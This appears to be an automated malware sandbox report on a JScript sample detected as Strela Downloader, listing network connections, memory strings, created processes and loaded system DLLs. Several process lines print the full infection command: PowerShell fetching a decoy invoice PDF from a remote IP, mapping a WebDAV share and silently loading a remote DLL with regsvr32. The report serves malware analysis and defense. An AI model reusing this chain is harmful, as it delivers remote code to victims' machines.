HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1294398978.0000019DA49F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1355243964.0000011DE7CBB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1351894438.0000011DE7CDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1355159582.0000011DE7C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1353958314.0000011DE7CBB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1355243964.0000011DE7CBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/X
Source: net.exe, 00000007.00000002.1355159582.0000011DE7C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2582218683.00000282C8200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1354753615.00000282C8440000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7884, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 322024057229051058.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1412

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zx05e2nn.oez.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1748,i,12677483823451127157,6974208797512940996,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1748,i,12677483823451127157,6974208797512940996,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
